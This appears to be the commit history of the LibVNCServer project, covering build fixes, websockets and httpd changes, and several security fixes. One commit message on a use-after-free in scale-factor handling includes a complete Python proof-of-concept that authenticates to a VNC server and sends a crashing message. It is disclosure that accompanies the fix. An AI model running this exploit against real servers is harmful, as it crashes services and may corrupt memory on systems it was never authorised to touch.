Commit Graph

300 Commits (ecb81d0e758b0bab0e13f10ac874e4d72b98aec0)

Author SHA1 Message Date
Christian Beier 6cb0522ecb rfbInitServer: only init Winsock once 8 years ago
Christian Beier 5935c1be4f Add an rfbLogPError that shows something on WIN32 8 years ago
Christian Beier 9ac695a4b9 Merge pull request #156 from The-42/drop-autotools
drop autotools
8 years ago
Christian Beier 425e24196b
Fix building in C89 mode
FIXME: this should probably be refactored into a common header.
8 years ago
Bert van Hall fe94339587 drop autotools
Since autotools officially is no longer supported (see various github
issues), drop the related infrastructure to stop tempting people to use
it for building.

Signed-off-by: Bert van Hall <bert.vanhall@gmx.de>
8 years ago
Christian Beier c5297bd47d
Fix building websockets with GnuTLS. 8 years ago
Christian Beier 2300efd396 Fix typo 8 years ago
Christian Beier c36147390e Fix websockets building 8 years ago
Christian Beier 7368417239 Various #ifdef fixes to allow building with MSVC2014 8 years ago
Christian Beier 1d1d2090b7 Make websockets code build on OSX without SSL. 8 years ago
Christian Beier 16cf35b2bf
Use unprefixed b64_* functions in websockets code. 8 years ago
Christian Beier 78b101f09d
LibVNCServer: fix starting of an onHold-client in threaded mode.
Discovered by madscientist159 on 11 Jan 2015:

"noted in testing with the threaded server build, whereby
if newClientHook() returned RFB_CLIENT_ON_HOLD there was no
way to release the hold when the server became ready"
8 years ago
Kyle Russell aed23ae5c3 websockets: Don't supply Sec-WebSocket-Protocol if not in request 8 years ago
Samuel Mannehed 21f8a8d33d Write the correct length for end of header
Fix for commit 65106d3962
8 years ago
Christian Beier 65106d3962
httpd: rework mime type handling to recognise more types 8 years ago
Christian Beier 01698f5c5b Merge pull request #128 from zmedico/autoprobe-selective
Support autoPort with ipv4 or ipv6 disabled
8 years ago
Stefan Weil 63bc75f24b Fix some typos (found by codespell)
Signed-off-by: Stefan Weil <sw@weilnetz.de>
8 years ago
Kyle Russell 21fd4d27bb Support systemd socket activation 9 years ago
Zac Medico cdd81bd479 Support autoPort with ipv4 or ipv6 disabled
Make it possible to get autoPort behavior with either ipv4 or ipv6
disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a
negative number. This will make it possible for x11vnc to enforce
its -noipv6 option, as discussed in the following bug report:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=672449
9 years ago
Christian Beier 6f4f31fe93 Merge pull request #84 from plettix/master
fix for issue 81
9 years ago
George Fleury 1417cb1c3f Avoid calling SSL_pending when connection is already closed
Avoid calling SSL_pending when connection is already closed, calling SSL_pending with connection already closed is crashing. 
To reproduce, open a secure websocket binay protocol connection with libvncserver compiled with OpenSSL, and when libvncserver is waiting for rfbProcessClientProtocolVersion send any invalid char, it will fail and call rfbCloseClient whith destroy all SSL context, calling SSL_pending after that will generate a invalid access.
9 years ago
Christian Beier 785f0fa2d1 Merge pull request #103 from rdieter/master
use namespaced vnc_max macro (issue #102)
9 years ago
Rex Dieter 53cc1fa18a use namespaced rfbMax macro (issue #102)
Not using generic 'max', avoids conflicts with stl_algobase.h
9 years ago
Wen Shuguang dfa5e27579 Enable AF_UNIX socket: ignore setsockopt TCP_NODELAY failure. 9 years ago
Stefan Weil 9c7efb7633 Fix some typos (found by codespell)
Signed-off-by: Stefan Weil <sw@weilnetz.de>
9 years ago
plettix 455ba61e4f fix for issue 81
use different buffers for decode and encode
10 years ago
Christian Beier 92f558482d Do away with rfbint.h generation and use stdint.h directly instead. 10 years ago
Christian Beier 107109492e Merge pull request #70 from maxnet/master
httpd: disallow directory traversal
10 years ago
Benjamin Dürholt 97490d68b0 Changed C++ style comments to C ones 10 years ago
Benjamin Dürholt 4c1bd4e76e prevent segfault 10 years ago
Floris Bos f5ae94639b httpd: disallow directory traversal
Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
10 years ago
Peter Spiess-Knafl 344264da2f Set autotools SOVERSION. 10 years ago
Christian Beier 99bd5d7ca4 Replace SHA1 implementation with the one from RFC 6234. 10 years ago
Christian Beier 1f5f1679a9 Merge pull request #57 from maxnet/master
Fix handling of multiple VNC commands per websockets frame
10 years ago
Floris Bos 6836ccb208 Fix handling of multiple VNC commands per websockets frame
- When processing input, check if there is any extra data
  pending in the internal websocket frame and SSL buffers.
- Prevents input events lagging behind because they get
  stuck in one of the buffers.
  Data pending in our own buffers cannot be detected with
  select() so was not processed until more input arrives
  from the network.
- Closes # 55

Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
10 years ago
Christian Beier b568db93b9 Merge pull request #56 from maxnet/master
Only advertise xvp support when xvpHook is set
10 years ago
Floris Bos a48035a1ce Only advertise xvp support when xvpHook is set
Prevent that clients show "reboot" "power down" buttons
that are not going to work.

Signed-off-by: Floris Bos <bos@je-eigen-domein.nl>
10 years ago
Christian Beier 5d3e41d257 Fix building with mingw-w64. 10 years ago
Christian Beier 0aa204d818 Update comments regarding rfbClientConnectionGone(). 10 years ago
Christian Beier 668d3e3785 Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.
Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---
10 years ago
Maks Naumov 02d0f73ee8 Fix selData.buttonWidth calculation
Operator "+" has a higher priority than "? :"
10 years ago
Nicolas Ruff c18fa98b1f Fix stack-based buffer overflow
There was a possible buffer overflow in rfbFileTransferOffer message when
processing the FileTime.

Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
newsoft 83bf1f5974 Fix multiple stack-based buffer overflows in file transfer feature 11 years ago
newsoft 8220f4da4c Make sure that no integer overflow could occur during scaling 11 years ago
Christian Beier a1125ad9a6 Merge pull request #38 from LibVNC/autotools-fix-revisited
Autotools fix revisited.
11 years ago
Brian Bidulock 57b0e4f4fe Rename obsolete INCLUDES to AM_CPPFLAGS 11 years ago
Johannes Schindelin ad7a054e8c Close unclosed comments ;-)
Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>
11 years ago
Daniel Cohen Gindi b288722ea6 A forgotten `#ifdef WIN32` broke UNIX build. 11 years ago
Daniel Cohen Gindi fd075263f9 Signal is a fundamental UNIX function, and must be omitted for any windows compilation 11 years ago
Daniel Cohen Gindi a7f79b696e These are UNIX headers, and are not available on MSVC 11 years ago